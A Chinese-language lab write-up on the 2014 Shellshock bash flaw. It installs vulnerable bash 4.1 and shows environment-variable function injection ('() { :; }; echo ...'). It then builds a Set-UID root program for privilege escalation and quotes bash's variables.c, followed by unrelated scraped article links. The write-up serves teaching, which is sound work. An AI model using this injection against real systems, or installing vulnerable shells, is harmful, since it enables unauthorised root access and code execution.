shellshock溢出攻击
实验背景
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。在本实验中,需要亲手重现攻击来理解该漏洞,并回答一些问题。
什么是ShellShock
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
环境搭建
由于4.2版本以上,该漏洞已经被堵上了,因此要以root权限安装4.1版bash()
实验楼中提供的bash4.1的地址:http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下载
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install


链接
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
到这里环境就安装完了,接下来检测是否存在shellshock漏洞。
测试
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出vulnerable的话,说明bash有漏洞。

最后,让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh

现在一切就绪,进入下一步吧。
测试
1.预备知识
- 了解bash自定义函数,只需要函数名就能够调用该函数。
$ foo() { echo lichen20199312; }
$ foo
> lichen20199312

- 这个时候的Bash的环境变量:
KEY = foo
VALUE = () { echo lichen20199312; }
来看看ShellShock漏洞的真身:
export foo='() { :; }; echo Hello lichen12'
bash
>Hello lichen12

为什么调用bash的时候输出Hello lichen12了呢?瞧瞧他内部的情况:
KEY = foo
VALUE = () { :; }; echo Hello lichen12
bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
本实验中,我们通过攻击Set-UID程序来获得root权限。
我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用,你能够利用shellshock漏洞来获取权限么? 首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
在 /home/shiyanlou 目录下新建一个 shock12.c 文件:
$ vi shock12.c
按 I 键切换到插入模式,再输入如下内容:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}

编译这段代码,并设置其为Set-UID程序,保证它的所有者是root。
$ sudo su
$ gcc -o shock shock12.c
$ chmod u+s shock

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍现象,但它确实有时会发生。 先自己试着hack一下:) 以下是hack过程:

如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?
#include <stdio.h>
void main()
{
system("/bin/ls -l");
}
$ sudo su
$ gcc -o shock1 shock12.c
$ chmod u+s shock1
$ ls -il shock1
$ exit
$ ./shock1

失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了。
variables.c部分代码
/* Initialize the shell variables from the current environment.
If PRIVMODE is nonzero, don't import functions from ENV or
parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
char *name, *string, *temp_string;
int c, char_index, string_index, string_length;
SHELL_VAR *temp_var;
create_variable_tables ();
for (string_index = 0; string = env[string_index++]; )
{
char_index = 0;
name = string;
while ((c = *string++) && c != '=')
;
if (string[-1] == '=')
char_index = string - name - 1;
/* If there are weird things in the environment, like `=xxx' or a
string without an `=', just skip them. */
if (char_index == 0)
continue;
/* ASSERT(name[char_index] == '=') */
name[char_index] = '\0';
/* Now, name = env variable name, string = env variable value, and
char_index == strlen (name) */
temp_var = (SHELL_VAR *)NULL;
/* If exported function, define it now. Don't import functions from
the environment in privileged mode. */
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
/* Ancient backwards compatibility. Old versions of bash exported
functions like name()=() {...} */
if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '\0';
if (temp_var = find_function (name))
{
VSETATTR (temp_var, (att_exported|att_imported));
array_needs_making = 1;
}
else
report_error (_("error importing function definition for `%s'"), name);
/* ( */
if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
name[char_index - 2] = '('; /* ) */
}
摘出其中关键部分并简化
void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下(root下)定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }
就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。
感悟
该漏洞在于,Bash把函数体解析完了之后,去执行了函数定义后面的语句。原理十分简单危害却巨大无比。此类型的攻击方式频出关键在于bash在设计的时候对于环境变量的依赖,人们可以尝试着使用各种方式诱骗bash视其为命令。
shellshock溢出攻击的更多相关文章
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- nginx服务器防sql注入/溢出攻击/spam及禁User-agents
本文章给大家介绍一个nginx服务器防sql注入/溢出攻击/spam及禁User-agents实例代码,有需要了解的朋友可进入参考. 在配置文件添加如下字段即可 代码如下 复制代码 server { ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- csapp lab3 bufbomb 缓存区溢出攻击 《深入理解计算机系统》
这个实验主要是熟悉栈,和了解数据缓存区溢出的问题. 数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针.在被调用程序里面,栈是向下增长的.所有局部变量 ...
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- AFP溢出攻击模块afp/loginext
AFP溢出攻击模块afp/loginext 在苹果Mac OS X 10.3.3及以前版本,AFP服务存在缓存区溢出漏洞CVE-2004-0430.利用该漏洞,用户可以基于LoginExt包执行任 ...
- 用于阻止缓冲区溢出攻击的 Linux 内核参数与 gcc 编译选项
先来看看基于 Red Hat 与 Fedora 衍生版(例如 CentOS)系统用于阻止栈溢出攻击的内核参数,主要包含两项: kernel.exec-shield 可执行栈保护,字面含义比较“绕”, ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...
随机推荐
- Python2.7+virtualenv+CUDA 10.0版的pytorch v1.3.0 +运行人群计数crowdcount-mcnn网络
Python2.7$ python2 -m virtualenv pytorchenv$ source pytorchenv/bin/activate $ pip install ipython py ...
- Java开发笔记(一百三十)Swing的选择框
不管是AWT还是Swing,都把选择框分成两类:复选框和单选按钮,这两类控件无论是外观上还是功能上均有显著差异.例如,在外观方面,复选框是在方框内打勾,而单选按钮是在圆圈内画圆点:在功能方面,复选框允 ...
- Python之 random 模块
#!/usr/bin/env python # -*- coding:utf8 -*- import random ''' 如果想要随机的内容的话,就可以使用这个模块来完成 ''' ######### ...
- List集合String字符串按照汉语拼音排序
public static void main(String[] args) { List<Map<String, Object>> mapList = new ArrayLi ...
- a 链接锚点
建立锚点的元素必须要有 id 或 name 属性,最好两个都有. 锚点超链接一定包含井号 "#",锚点超链接都在链接的最末端,具体看后面例子: 同一个页面不同部分的跳转 目标元素: ...
- GitHub Action一键部署配置,值得拥有
最近由于自己的个人应用增加,每次都需要在服务器手动发布,觉得特别麻烦,所以想通过代码控制自动发布,直接选择了GitHub Action. GitHub Action持续集成服务,目前已经免费开放使用, ...
- 【转载】Windows安装Redis并添加本地自启动服务
概况 在windows本地搭建redis缓存,添加到本地计算机的服务中,保证每次开机自动启动服务. 第一步:下载redis(我的是计算机win10,64位) https://github.com/Mi ...
- DevExtreme学习笔记(一) DataGrid中数据提交注意事项
1.数据提交的{}数据需转化json格式 syncPost('/controller/action', { values: JSON.stringify({d:x}) }, function (res ...
- pip install scrapy 报错
最近在研究Python,安装scrapy过程中报错如下图: 尝试找了一下解决方式:下载已经编译好的.whl安装包 步骤如下: 1.下载与Python版本和系统版本相匹配的Twisted包,网址:htt ...
- FireWolf OS X PE
FireWolf OS X PE FireWolf OS X PE 9 使用手册 https://pe.firewolf.app/manual/ https://pe.firewolf.app/m ...